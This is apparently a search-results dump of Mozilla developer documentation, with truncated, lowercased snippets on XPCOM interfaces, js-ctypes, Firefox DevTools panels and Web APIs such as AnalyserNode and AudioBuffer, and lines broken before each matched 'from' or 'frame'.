from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsiurl, impose further structure on the uri.
...follows the idna draft specification for converting internationalized domain names (utf-8) to ascii for compatibility with existing internet in
frastructure.
... origincharset acstring the charset of the document
from which this uri originated.
... if the uri stores information
from the nsiioservice interface's nsiioservice.newuri() call that created it, other than just the parsed string, the behavior of this information when setting the spec attribute is undefined.
nsIXULTemplateResult
content/xul/templates/public/nsixultemplateresult.idlscriptable a single result generated
from a template query.
... 1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) each result is identified by an id, which must be unique within the set of results produced
from a query.
... resource nsird
fresource resource for the result, which may be null.
...this string will be used in the action body
from a template as the replacement text.
XPCOM Interface Reference by grouping
nsiworkermessageport nsiworkerscope tree nsitreeboxobject nsitreecolumn nsitreecolumns nsitreecontentview nsitreeselection nsitreeview xform nsixformsmodelelement nsixformsnsinstanceelement nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacallback nsifaviconservice
frame nsichrome
framemessagemanager nsi
frameloader nsi
frameloaderowner nsi
framemessagelistener nsi
framemessagemanager interface nsijsxmlhttprequest jetpack nsijetpack nsijetpackservice offlinestorage nsiapplicationcache nsiapplicationcachechannel nsiapplicationcachecontainer nsiapplicationcachenamespace nsiapplicationcache...
... nsisupportsprbool nsisupportsprimitive nsisupportsprint16 nsisupportsprint32 nsisupportsprint64 nsisupportspriority nsisupportsprtime nsisupportspruint16 nsisupportspruint32 nsisupportspruint64 nsisupportspruint8 nsisupportsstring nsisupportsvoid nsisupportsweakreference nsivariant do not use nsienumerator nsiinprocesscontent
framemessagemanager nsiscriptableio nsixpcscriptable future nsixmlhttprequestupload obsolete nsixmlrpcclient nsixmlrpcfault security auth nsiauthmodule nsiauthprompt nsiauthpromptprovider nsiauthpromptwrapper nsiasyncverifyredirectcallback content nsicontentpolicy ...
... nsiproperties nsiproperty nsipropertybag nsipropertybag2 nsipropertyelement nsiserversocket nsiserversocketlistener nsiservicemanager nsisocketprovider nsisocketproviderservice nsisockettransport nsisockettransportservice nsisupports nsiuuidgenerator debug nsistack
frame device display nsiscreen nsiscreenmanager geolocation nsigeolocationprovider nsigeolocationupdate orientation nsiacceleration nsiaccelerationlistener nsiaccelerometer misc ...
... nsiwebnavigation environment nsienvironment event nsieventlistenerinfo nsieventlistenerservice nsieventtarget exception nsiexception extention nsiextensionmanager nsiinstalllocation external nsiexternalprotocolservice
frame nsicontent
framemessagemanager history nsishentry nsishistory idle nsiidleservice internal command nsicommandline nsicommandlinehandler nsicommandlinerunner component nsicomponentmanager ...
XPCOM reference
they all inherit
from nsmsgdbfolder, which implements a lot of the core functionality.
...in a big change
from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages.
...for example, to request the 'show all threads' view use the constant:nsstaticmoduleinfothis data structure is used by ns_initxpcom3 to specify static xpcom modules.standard xpcom componentsthere are a number of components provided in the standard implementation of xpcom; these are as follows.xpcom glue classesthese "glue" classes are provided to make it easier to use xpcom
from c++ code.xpcom interface referencethis is a reference to the xpcom interfaces provided by the mozilla platform.xpcom interface reference by groupingthis page lists the current (as of dec.
...all xpcom primitives are scriptable, and they all implement an xpcom interface
from the table below.xpcom string functionsxpcom provides these low-level string functions to let you work with strings; however, it's often better to use one of the string classes rather than directly using these functions.
Weak reference
what is actually needed in this case, is either out-of-band signaling, where when the observer wants to go away, it unregisters itself
from the observable, which then releases its owning reference, allowing the observer to die, or else a new kind of reference.
...you can extrapolate
from managing a single observer to managing a list of observers.
...{ mobserver = getter_addrefs( ns_getweakreference(aobserver) ); // ...or append this to the list of observers return ns_ok; } nsresult nsobservable::notifyobservers( nsimessage* amessage ) { nscomptr<nsiobserver> observer = do_queryreferent(mobserver); if ( observer ) observer->noticemessage(amessage); else mobserver = 0; // or remove this observer
from the list, he's gone away return ns_ok; } // ...
...i know this sounds more convenient, but the global routine ns_getweakreference makes it easy to go
from the target object to the weak reference; and nsiweakreference::queryreferent gives you the same functionality as queryinterface for getting back.
Mail event system
it was imported
from mozilla.org and last updated in 2002.
...the mail session receives all notifications
from all folders, and then forwards it on to any nsifolderlisteners that have registered themselves.
...it would make sense to collapse the nsimsgmailsession simply into an object that implements the the nsifolderlistener interface to receive notifications
from the folders.
... alec flett last modified:
fri mar 31 12:22:03 pst 2000 ...
Main Windows
the rest is loaded
from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript.
...menus, toolbar buttons, and headers are all taken
from exactly the same overlays listed above though.
... customizetoolbar.xul and customizetoolbarsheet.xul these are two old files
from when the original customizable toolbars were ported
from firefox (phoenix at the time) to thunderbird (minotaur at the time).
...for instance, the “add new toolbar” buttons
from toolkit aren’t in the thunderbird version.
Using the Mozilla symbol server
symbols are available for at least 30 previous days worth of nightly builds, and firefox releases
from 2.0.0.4.
...in the examples below, a local cache directory is used to avoid repeatedly fetching the pdb
from the server.
...if you would like to get symbols
from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using ...
...if you want to reload symbols, you can try: nosharedlibrary sharedlibrary lib on older gdb and mac os x there is a python script to download symbols
from the mozilla symbol server for gdb, shark and other software that uses symbols.
ArrayType
properties inherited
from ctype these properties are available on all ctype objects.
... method overview methods inherited
from ctype ctype array([n]) string tosource() string tostring() arraytype cdata syntax cdata sized_arraytype(); cdata unsized_arraytype(length); sized_arraytype and unsized_arraytype are arraytype ctype.
... properties inherited
from cdata property type description constructor ctype the data type of the cdata object, as a ctype.
... arraytype cdata method_overview cdata addressofelement(idx) methods inherited
from cdata cdata address() string tosource() string tostring() arraytype cdata methods addressofelement() returns a new cdata object of the appropriate pointer type, whose value points to the specified array element on which the method was called.
CData
empt at readingmalformed function readaschar8thenaschar16(stringptr, known_len, jschar) { // when reading as jschar it assumes max length of 500 // stringptr is either char or jschar, if you know its jschar for sure, pass 2nd arg as true // if known_len is passed, then assumption is not made, at the known_len position in array we will see a null char // i tried getting known_len
from stringptr but its not possible, it has be known, i tried this: //"stringptr.contents.tostring()" "95" //"stringptr.tostring()" "ctypes.unsigned_char.ptr(ctypes.uint64("0x7f73d5c87650"))" // so as we see neither of these is 77, this is for the example of "_scratchpad/entehandle.js at master · noitidart/_scratchpad mdnfirefox" // tries to do read string on stringptr,...
... cast to unsigned char (not ctypes.jschar, or ctypes.char) as otherwise i dont get foreign characters, as they are got as negative values, and i should read till i find a 0 which is null terminator which will have unsigned_char code of 0 // can test this by reading a string like this: "_scratchpad/entehandle.js at master · noitidart/_scratchpad mdnfirefox" at js array position 36 (so 37 if count
from 1), we see 183, and at 77 we see char code of 0 if casted to unsigned_char, if casted to char we see -73 at pos 36 but pos 77 still 0, if casted to jschar we see chineese characters in all spots expect spaces even null terminator is a chineese character console.info('ptrasarr.length:', ptrasarr.length); //console.log('debug-msg :: datacasted:', datacasted, uneval(datacasted), da...
...tacasted.tostring()); var charcode = []; var
fromcharcode = [] for (var i=0; i<ptrasarr.length; i++) { //if known_len is correct, then will not hit null terminator so like in example of "_scratchpad/entehandle.js at master · noitidart/_scratchpad mdnfirefox" if you pass length of 77, then null term will not get hit by this loop as null term is at pos 77 and we go till `< known_len` var thisunsignedcharcode = ptrasarr.addressofelement(i).contents; if (thisunsignedcharcode == 0) { // reached null terminator, break console.log('reached null terminator, at pos: ', i); break; } charcode.push(thisunsignedcharcode);
fromcharcode.push(string.
fromcharcode(thisunsignedch...
...arcode)); } console.info('charcode:', charcode); console.info('
fromcharcode:',
fromcharcode); var char16_val =
fromcharcode.join(''); console.info('char16_val:', char16_val); return char16_val; } if (!jschar) { try { var char8_val = stringptr.readstring(); console.info('stringptr.readstring():', char8_val); return char8_val; } catch (ex if ex.message.indexof('malformed utf-8 character sequence at offset ') == 0) { console.warn('ex of offset utf8 read error when trying to do readstring so using alternative method, ex:', ex); return readjscharstring(); } } else { return readjscharstring(); } } ...
Library
declare() declares an api
from the native library, allowing it to be used
from javascript.
... cdata declare( name[, abi, returntype argtype1, ...] ); parameters name the name of the symbol exported by the native library that is to be declared as usable
from javascript abi the abi used by the exported function; this will be ctypes.default_abi for most libraries, except for windows libraries, which will be ctypes.winapi_abi or ctypes.stdcall_abi.
... alternative syntax another use for ctypes.declare is to get non-function/non-methods
from libraries.
...for example,
from the objective-c library we can export the symbol which holds the address to an external block.
PointerType
properties inherited
from ctype these properties are available on all ctype objects.
... method overview methods inherited
from ctype ctype array([n]) string tosource() string tostring() pointertype cdata syntax cdata pointertype(); pointertype is pointertype ctype.
... properties inherited
from cdata property type description constructor ctype the data type of the cdata object, as a ctype.
... pointertype cdata method_overview bool isnull() methods inherited
from cdata cdata address() string tosource() string tostring() pointertype cdata methods isnull() determines whether or not the pointer's value is null.
StructType
properties inherited
from ctype these properties are available on all ctype objects.
... method overview define(fields) methods inherited
from ctype ctype array([n]) string tosource() string tostring() methods define() defines a previously declared opaque type's fields.
... properties inherited
from cdata property type description constructor ctype the data type of the cdata object, as a ctype.
... structtype cdata method_overview cdata addressoffield(name) methods inherited
from cdata cdata address() string tosource() string tostring() structtype cdata methods addressoffield() returns a new cdata object of the appropriate pointer type, whose value points to the specified field of the structure on which the method was called.
js-ctypes
c++ support is possible through vtable pointers see using com
from js-ctypes.
... note: js-ctypes is only available
from chrome code; that is, ctypes is not available to websites, only application and extension code.
... examples add to iphoto a firefox extension that uses js-ctypes to call carbon and core foundation
framework routines on mac os x to implement an "add image to iphoto" feature in firefox.
... using c structs and pointers using com
from js-ctypes using objective-c
from js-ctypes github :: ochameau / jscpptypes a mangling library to use c++
from js-ctypes community view mozilla forums...
Plugin Roadmap for Firefox - Plugins
to support the transition away
from flash, firefox is working with other browsers to progressively and carefully make flash usage less common.
... 2020 in december 2020, flash support will be completely removed
from consumer versions of firefox.
... see also mozilla firefox october 2015 - npapi plugins in firefox july 2016 - reducing adobe flash usage in firefox july 2017 - firefox roadmap for flash end-of-life adobe flash november 2015 - flash, html5 and open web standards july 2017 - flash & the future of interactive content google chrome flash roadmap sep 2013 - saying goodbye to our old
friend npapi may 2014 - update on npapi deprecation november 2014 - the final countdown for npapi august 2016 - flash and chrome december 2016 - roll-out plan for html5 by default july 2017 - saying goodbye to flash in chrome microsoft edge and internet explorer april 2016 - putting users in control of flash december 2016 - extending user control of flash with click-to-run july 2017 - fl...
...ash on windows timeline august 2019 - update on removing flash
from microsoft edge and internet explorer apple safari june 2016 - next steps for legacy plug-ins july 2017 - adobe announces flash distribution and updates to end ...
Accessibility Inspector - Firefox Developer Tools
while it’s running, it slows performance and takes up memory; therefore it interferes with the metrics
from other panels such as memory and performance as well as overall browser performance.
... note: the exposed information is the same across all platforms — the inspector exposes gecko's accessibility tree, rather than information
from the platform accessibility layer.
...for example: in this example, the contrast ranges
from 4.72 to 5.98.
... the accessibility tab element picker looks slightly different
from the page inspector html pane picker, as shown below: when you "perform a pick", you see the accessibility object highlighted in the accessibility tree, and the picker is then deactivated.
Debugging service workers - Firefox Developer Tools
from updating your service worker: if your service worker has previously been installed, but then a new version of the worker is available on re
fresh or page load, the new version is installed in the background, but not yet activated.
... it is also worth knowing that if you are testing an app's offline capabilities, you'll be able to see whether requests are being retrieved
from a service worker-initiated cache rather than
from the network by looking at network monitor.
... resources retrieved
from the cache are indicated with service worker in the transferred column.
... note: there is currently a bug whereby the network monitor cannot show network requests
from a service worker running in a different process to the application (bug 1432311).
Use a source map - Firefox Developer Tools
the javascript sources executed by the browser are often transformed in some way
from the original sources created by a developer.
... for example: sources are often combined and minified to make delivering them
from the server more efficient.
... javascript running in a page is often machine-generated, as when compiled
from a language like coffeescript or typescript.
...a source map is a file that maps
from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger.
Using the Debugger map scopes feature - Firefox Developer Tools
it enables you to see the variables
from the original source.
... it’s also possible to inspect variables
from the generated scopes (e.g., a bundle file with all concatenated module files).
... when you click the increment button on the page and hit the breakpoint, an additional section is added to the right-hand panel below the call stack to display variables mapped
from the original scope, like this: as useful as this is, it would be even nicer if you could view the original code (before it was packages into the "bundle.js" file.
...and, since map has been checked in the scopes panel, you also see variable symbols
from the original code.
Deprecated tools - Firefox Developer Tools
when we deprecate a panel, we begin by getting feedback
from the community to determine the impact of removing that panel.
... once we have decided to remove the panel, we will provide a warning message, and finally, we will remove the panel
from the codebase.
... canvas debugger bugzilla issue: bug 1403938 removed as of firefox 67 description canvas debugger allowed users to inspect the canvas element and see how
frequently a given function is called.
... shader editor bugzilla issue: bug 1342237 removed as of firefox 67 description the shader editor allowed users to examine and edit the source of the webgl vertex and
fragment shaders.
Dominators view - Firefox Developer Tools
any other node that's referenced
from two different roots (since in this case, neither root dominates it).
... the retaining paths panel shows you, for a given node, the 5 shortest paths back
from this node to a gc root.
... this enables you to see all the nodes that are keeping the given node
from being garbage-collected.
... sometimes there's more than one retaining path back
from a node: here there are three paths back
from the documentprototype node to a gc root.
UI Tour - Firefox Developer Tools
it contains two elements: an overview of the waterfall and a
frame rate graph.
...
frame rate graph the
frame rate gives you an overview of the browser's responsiveness during the recording: see the separate article on
frame rate.
... for example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the
frame rate: zooming in you can use the overview to select a slice of the recording to examine in more detail.
...in the screenshot below we've selected that drop in the
frame rate, and can see the long-running paint operation in more detail: details pane the details pane shows whichever tool is currently selected.
Responsive Design Mode - Firefox Developer Tools
toggling responsive design mode there are three ways to toggle responsive design mode:
from the firefox menu: select responsive design mode
from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on macos).
...
from the developer tools toolbox: press the responsive design mode button in the toolbox's toolbar:
from the keyboard: press ctrl + shift + m (or cmd + opt + m on macos).
...
from left to right, the display includes: name of the selected device - a drop-down list that includes whatever devices you have selected
from the device settings screen.
...the set of devices, and the values associated with each device, are taken
from https://github.com/mozilla/simulated-devices.
AbsoluteOrientationSensor - Web APIs
syntax var absoluteorientationsensor = new absoluteorientationsensor([options]) parameters options optional options are as follows:
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
... a whole number or decimal may be used, the latter for
frequencies less than a second.
... the actual reading
frequency depends device hardware and consequently may be less than requested.
... reference
frame: either 'device' or 'screen'.
Accelerometer.Accelerometer() - Web APIs
syntax var accelerometer = new accelerometer([options]) parameters options optional options are as follows:
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onerror will be called.
... a whole number or decimal may be used, the latter for
frequencies less than a second.
... the actual reading
frequency depends device hardware and consequently may be less than requested.
... reference
frame: either 'device' or 'screen'.
AnalyserNode.fftSize - Web APIs
the fftsize property of the analysernode interface is an unsigned long value and represents the window size in samples that is used when performing a fast fourier transform (fft) to get
frequency domain data.
...a higher value will result in more details in the
frequency domain but fewer details in the time domain.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimation
frame and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 2048; var bufferlength = analyser.
frequencybincount ; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimation
frame(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); ...
AnalyserNode.getFloatTimeDomainData() - Web APIs
syntax var audioctx = new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray = new float32array(analyser.fftsize); // float32array needs to be the same length as the fftsize analyser.getfloattimedomaindata(dataarray); // fill the float32array with data returned
from getfloattimedomaindata() parameters array the float32array that the time domain data will be copied to.
... if the array has fewer elements than the analysernode.
frequencybincount, excess elements are dropped.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimation
frame and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input.
... analyser.fftsize = 1024; var bufferlength = analyser.fftsize; console.log(bufferlength); var dataarray = new float32array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimation
frame(draw); analyser.getfloattimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] * 200.0; var y = height/2 ...
AnalyserNode.maxDecibels - Web APIs
the maxdecibels property of the analysernode interface is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the maximum value for the range of results when using getfloat
frequencydata() or getbyte
frequencydata().
... when getting data
from getfloat
frequencydata() or getbyte
frequencydata(), any
frequencies with an amplitude of maxdecibels or higher will be returned as +1.0 or 255, respectively.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimation
frame and <canvas> to collect
frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
... analyser.fftsize = 256; var bufferlength = analyser.
frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimation
frame(draw); analyser.getbyte
frequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < buffer...
AnalyserNode.minDecibels - Web APIs
the mindecibels property of the analysernode interface is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the minimum value for the range of results when using getfloat
frequencydata() or getbyte
frequencydata().
... when getting data
from getfloat
frequencydata() or getbyte
frequencydata(), any
frequencies with an amplitude of mindecibels or lower will be returned as 0.0 or 0, respectively.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimation
frame and <canvas> to collect
frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
... analyser.fftsize = 256; var bufferlength = analyser.
frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimation
frame(draw); analyser.getbyte
frequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < buffer...
AnalyserNode.smoothingTimeConstant - Web APIs
the smoothingtimeconstant property of the analysernode interface is a double value representing the averaging constant with the last analysis
frame.
... if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloat
frequencydata/analysernode.getbyte
frequencydata calls.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimation
frame and <canvas> to collect
frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
... analyser.fftsize = 256; var bufferlength = analyser.
frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimation
frame(draw); analyser.getbyte
frequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = ...
Attr - Web APIs
the assumption was that since you get an attr object
from an element, you should already know the associated element.
... gecko outputs a deprecation note starting
from gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4).
...originally, it returned true if the attribute was explicitly specified in the source code or by a script, and false if its value came
from the default one defined in the document's dtd.
... obsolete moved namespaceuri, prefix and localname
from node to this api and removed ownerelement, schematypeinfo and isid.
AudioBuffer.copyToChannel() - Web APIs
the copytochannel() method of the audiobuffer interface copies the samples to the specified channel of the audiobuffer,
from the source array.
... syntax myarraybuffer.copytochannel(source, channelnumber, startinchannel); parameters source a float32array that the channel data will be copied
from.
... example var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); var anotherarray = new float32array; // copy channel data
from second channel of myarraybuffer.
... myarraybuffer.copy
fromchannel(anotherarray,1,0); // copy data
from anotherarray to first channel of myarraybuffer.
AudioBuffer - Web APIs
the audiobuffer interface represents a short audio asset residing in memory, created
from an audio file using the audiocontext.decodeaudiodata() method, or
from raw data using audiocontext.createbuffer().
... audiobuffer.length read only returns an integer representing the length, in sample-
frames, of the pcm data stored in the buffer.
... audiobuffer.copy
fromchannel() copies the samples
from the specified channel of the audiobuffer to the destination array.
... audiobuffer.copytochannel() copies the samples to the specified channel of the audiobuffer,
from the source array.
AudioParam - Web APIs
there are two kinds of audioparam, a-rate and k-rate parameters: an a-rate audioparam takes the current audio parameter value for each sample
frame of the audio signal.
... a k-rate audioparam uses the same initial audio parameter value for the whole block processed, that is 128 sample
frames.
... in other words, the same value applies to every
frame in the audio as it's processed by the node.
...gain is an example of an a-rate audioparam, as the value can potentially be set differently for each sample
frame of the audio.
AudioWorkletGlobalScope - Web APIs
as the global execution context is shared across the current baseaudiocontext, it's possible to define any other variables and perform any actions allowed in worklets — apart
from defining audioworkletprocessor-derived classes.
... properties current
frame read only returns an integer that represents the ever-increasing current sample-
frame of the audio block being processed.
... methods registerprocessor() registers a class derived
from the audioworkletprocessor interface.
... // test-processor.js class testprocessor extends audioworkletprocessor { constructor () { super() // current sample-
frame and time at the moment of instantiation // to see values change, you can put these two lines in process method console.log(current
frame) console.log(currenttime) } // the process method is required - simply output silence, // which the outputs are already filled with process (inputs, outputs, parameters) { return true } } // the sample rate is not going to change eve...
AudioWorkletNode - Web APIs
properties also inherits properties
from its parent, audionode.
...if the audioworkletprocessor has a static parameterdescriptors getter, the audioparamdescriptor array returned
from it is used to create audioparam objects on the audioworkletnode.
... with this mechanism it is possible to make your own audioparam objects accessible
from your audioworkletnode.
... methods also inherits methods
from its parent, audionode.
AuthenticatorAttestationResponse - Web APIs
this interface inherites
from authenticatorresponse.
...use
from within an <i
frame> element will not have any effect.
...the clientdatajson property is inherited
from the authenticatorresponse.
... examples var publickey = { challenge: /*
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; ...
characteristic - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled
from version 57: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled
from version ≤79: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support 44notes disabled notes linux and versions of windows earlier than 10.disabled
from version 44: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
readValue() - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled
from version 57: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled
from version ≤79: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support 44notes disabled notes linux and versions of windows earlier than 10.disabled
from version 44: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
uuid - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled
from version 57: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled
from version ≤79: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support 44notes disabled notes linux and versions of windows earlier than 10.disabled
from version 44: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
value - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled
from version 57: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled
from version ≤79: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support 44notes disabled notes linux and versions of windows earlier than 10.disabled
from version 44: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
writeValue() - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled
from version 57: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support ≤79notes disabled notes linux and versions of windows earlier than 10.disabled
from version ≤79: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... full support 44notes disabled notes linux and versions of windows earlier than 10.disabled
from version 44: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
Broadcast Channel API - Web APIs
the broadcast channel api allows basic communication between browsing contexts (that is, windows, tabs,
frames, or i
frames) and workers on the same origin.
...you don't have to maintain a reference to the
frames or workers you wish to communicate with: they can “subscribe” to a particular channel by constructing their own broadcastchannel with the same name, and have bi-directional communication between all of them.
...this disconnects the object
from the underlying channel, allowing garbage collection.
... the messaging protocol is not defined and the different browsing contexts need to implement it themselves; there is no negotiation nor requirement
from the specification.
CSSGroupingRule - Web APIs
objects deriving
from it : cssconditionrule and its children: cssmediarule, csssupportsrule, and cssdocumentrule.
... interface cssgroupingrule : cssrule { readonly attribute cssrulelist cssrules; unsigned long insertrule (domstring rule, unsigned long index); void deleterule (unsigned long index); } properties common to all cssgroupingrule instances the cssgroupingrule derives
from cssrule and inherits all properties of this class.
... methods common to all cssgroupingrule instances the cssgroupingrule derives
from cssrule and inherits all methods of this class.
... it has two specific methods: cssgroupingrule.deleterule deletes a rule
from the style sheet.
Using dynamic styling information - Web APIs
to get to the style objects
from the document, you can use the document.stylesheets property and access the individual objects by index (e.g., document.stylesheets[0] is the first stylesheet defined for the document, etc.).
...</body> </html> the list of properties available in the dom
from the style property is given on the dom css properties list page.
...however, this property only returns style attributes that have been set in-line (e.g, <td style="background-color: lightblue"> returns the string "background-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element
from a stylesheet).
...unlike the individual rules available
from the document.stylesheets collection, the style object is accessed
from the document or
from the elements to which that style is applied.
CanvasCaptureMediaStreamTrack - Web APIs
the canvascapturemediastreamtrack interface represents the video track contained in a mediastream being generated
from a <canvas> following a call to htmlcanvaselement.capturestream().
... canvascapturemediastreamtrack.request
frame() manually forces a
frame to be captured and sent to the stream.
... this lets applications that wish to specify the
frame capture times directly do so, if they specified a
framerate of 0 when calling capturestream().
... specifications specification status comment media capture
from dom elementsthe definition of 'canvascapturemediastreamtrack' in that specification.
CanvasRenderingContext2D.drawWindow() - Web APIs
if you're using it
from an extension, you should switch to tabs.capturetab.
... if you're writing chrome code, you probably want windowglobalparent.drawsnapshot
from the parent process.
... top-level browsed documents are usually not transparent because the user's background-color preference is applied, but i
frames are transparent if the page doesn't set a background.
... with this method, it is possible to fill a hidden i
frame with arbitrary content (e.g., css-styled html text, or svg) and draw it into a canvas.
Compositing example - Web APIs
pure black or white does not result in pure black or white.', 'subtracts the bottom layer
from the top layer or the other way round to always get a positive value.', 'like difference, but with lower contrast.', 'preserves the luma and chroma of the bottom layer, while adopting the hue of the top layer.', 'preserves the luma and hue of the bottom layer, while adopting the chroma of the top layer.', 'preserves the luma of the bottom layer, while adopting the hue and chroma of the top layer...
...endchild(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); dt.textcontent = pop; dl.appendchild(dt); var dd = document.createelement("dd"); var p = document.createelement("p"); p.textcontent = gcotext.pop(); dd.appendchild(p); var canvastodrawon = createcanvas(); var canvastodraw
from = createcanvas(); var canvastodrawresult = createcanvas(); var ctx = canvastodrawresult.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas1, 0, 0, width/2, height/2); ctx.globalcompositeoperation = pop; ctx.drawimage(canvas2, 0, 0, width/2, height/2); ctx.globalcompositeoperation = "source-over";...
...2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas1, 0, 0, width/2, height/2); ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width/2, 20); ctx.fillstyle = "#fff"; ctx.font = "14px arial"; ctx.filltext('existing content', 5, height/2 - 5); ctx.restore(); var ctx = canvastodraw
from.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas2, 0, 0, width/2, height/2); ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width/2, 20); ctx.fillstyle = "#fff"; ctx.font = "14px arial"; ctx.filltext('new content', 5, height/2 - 5); ctx.restore(); dd.appendchi...
...ld(canvastodrawon); dd.appendchild(canvastodraw
from); dd.appendchild(canvastodrawresult); dl.appendchild(dd); } }; utility functions the program relies on a number of utility functions.
